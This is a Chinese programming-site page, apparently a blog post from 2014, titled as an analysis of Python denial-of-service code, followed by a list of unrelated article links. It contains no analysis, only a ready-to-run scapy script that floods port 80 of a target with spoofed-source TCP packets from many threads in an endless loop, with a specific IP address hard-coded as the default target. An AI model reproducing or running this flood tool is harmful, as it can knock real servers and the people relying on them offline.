分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
在Django的URLconf中进行函数导入的方法
Jul 18 Python
python引入导入自定义模块和外部文件的实例
Jul 24 Python
基于python 字符编码的理解
Sep 02 Python
Python对列表去重的多种方法(四种方法)
Dec 05 Python
利用python将json数据转换为csv格式的方法
Mar 22 Python
Python OpenCV处理图像之图像直方图和反向投影
Jul 10 Python
python 实现对数据集的归一化的方法(0-1之间)
Jul 17 Python
解决python "No module named pip" 的问题
Oct 13 Python
python groupby 函数 as_index详解
Dec 16 Python
Cython编译python为so 代码加密示例
Dec 23 Python
python+opencv实现车牌定位功能(实例代码)
Dec 24 Python
一行代码python实现文件共享服务器
Apr 22 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
几个学习PHP的网址
2006/11/25 PHP
PHP执行linux系统命令的常用函数使用说明
2010/04/27 PHP
php中使用ExcelFileParser处理excel获得数据(可作批量导入到数据库使用)
2010/08/21 PHP
php程序员应具有的7种能力小结
2014/11/27 PHP
PHP中使用Imagick操作PSD文件实例
2015/01/26 PHP
JavaScript TO HTML 转换
2006/06/26 Javascript
jquery实现简单的拖拽效果实例兼容所有主流浏览器(优化篇)
2013/06/28 Javascript
JavaScript创建对象的写法
2013/08/29 Javascript
javascript获取url上某个参数的方法
2013/11/08 Javascript
js实现微信分享代码
2020/10/11 Javascript
jQuery Layer弹出层传值到父页面的实现代码
2017/08/17 jQuery
JS获取浏览器地址栏的多个参数值的任意值实例代码
2018/07/24 Javascript
react 兄弟组件如何调用对方的方法示例
2018/10/23 Javascript
微信小程序实现录音时的麦克风动画效果实例
2019/05/18 Javascript
vue3.0实现点击切换验证码(组件)及校验
2020/11/18 Vue.js
[49:41]NB vs NAVI Supermajor小组赛A组 BO3 第一场 6.2
2018/06/03 DOTA
Python多线程编程(八):使用Event实现线程间通信
2015/04/05 Python
Python for Informatics 第11章之正则表达式(二)
2016/04/21 Python
python 简单的多线程链接实现代码
2016/08/28 Python
浅谈Python浅拷贝、深拷贝及引用机制
2016/12/15 Python
pycharm中连接mysql数据库的步骤详解
2017/05/02 Python
在Pycharm中使用GitHub的方法步骤
2019/06/13 Python
关于pytorch多GPU训练实例与性能对比分析
2019/08/19 Python
python队列原理及实现方法示例
2019/11/27 Python
python 实现字符串下标的输出功能
2020/02/13 Python
python matplotlib实现将图例放在图外
2020/04/17 Python
python3从网络摄像机解析mjpeg http流的示例
2020/11/13 Python
HTML5之SVG 2D入门1—SVG(可缩放矢量图形)概述
2013/01/30 HTML / CSS
牦牛毛户外探险服装:Kora
2019/02/08 全球购物
计算机网络专业求职信
2014/06/05 职场文书
委托公证书样本
2015/01/23 职场文书
MySQL中出现乱码问题的终极解决宝典
2021/05/26 MySQL
Java数据结构之链表相关知识总结
2021/06/18 Java/Android
C3 线性化算法与 MRO之Python中的多继承
2021/10/05 Python
Python实现为PDF去除水印的示例代码
2022/04/03 Python
分享node.js实现简单登录注册的具体代码
2022/04/26 NodeJs